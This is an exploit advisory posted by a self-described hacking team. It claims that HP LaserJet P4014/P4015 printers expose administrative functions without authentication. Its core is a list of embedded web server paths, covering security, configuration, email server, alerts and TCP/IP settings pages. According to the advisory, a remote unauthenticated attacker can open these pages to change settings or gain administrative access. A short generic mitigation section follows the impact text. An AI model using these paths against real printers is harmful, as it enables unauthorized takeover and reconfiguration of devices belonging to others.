############################################################################################ # Exploit Title : HP LaserJet P4014/P4015 Printers 6.7.0.x Bypass Missing Authentication # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 31/03/2019 # Vendor Homepage : hp.com # Software Information Link : support.hp.com/au-en/drivers/selfservice/hp-laserjet-p4014-printer-series/3558788/model/3558789 support.hp.com/us-en/drivers/selfservice/hp-laserjet-p4015-printer-series/3558793 # Software Version : Driver-Universal Print Driver for Managed Services => Version 6.7.0.23989 Example Printer Model P4014/P4015 => Version CB512A and CB507A - CB509A - CXXXXA Firmware => Version 04.270.2 - 04.060.7 - 04.080.8 - 04.044.0 Software Universal Printer Driver => Version 1.8.6 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : High # Vulnerability Type : CWE-306 [ Missing Authentication for Critical Function ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ############################################################################################ # Description about Software : *************************** HP LaserJet as a brand name identifies the line of dry electrophotographic DEP laser printers marketed by the American computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer. ############################################################################################ # Impact : *********** The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the affected application and change configuration settings or gain administrative access. Missing authentication for critical function is a language independent issue that can appear in any multiuser environment. Developing a fix would require understanding of the current application security model and implemented access controls. Three basic rules however can help you eliminate potential improper authorization issues: 1) Identify all privileged assets within your application (web pages that display sensitive data, website sections that contain privileged/administrative functionality, etc.) 2) Identify user roles within the application and their access permissions 3) Always check if the user should have privileges to access the asset ############################################################################################ # Bypass Missing Authentication Exploit / Vulnerability : ************************************************* /hp/device/this.LCDispatcher /hp/device/this.LCDispatcher?nav=hp.EmailServer /hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=1&lstid=-1 /hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=3&lstid=1 /hp/device/this.LCDispatcher?nav=hp.Alerts /hp/device/this.LCDispatcher?nav=hp.AutoSend /hp/device/this.LCDispatcher?nav=hp.Security&fldPage=0 /hp/device/this.LCDispatcher?nav=hp.OtherLinks /hp/device/this.LCDispatcher?nav=hp.Config /hp/device/this.LCDispatcher?nav=hp.DeviceInfoConfig /hp/jetdirect /config_pro.htm /tcpipv6.htm /tcpipv4.htm /tcp_param.htm /network_id.htm /tcp_summary.htm /index_info.htm /support_param.html /support.htm /tcp_diag.htm /configpage.htm /tcp_param.htm /network_id.htm ############################################################################################ # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ############################################################################################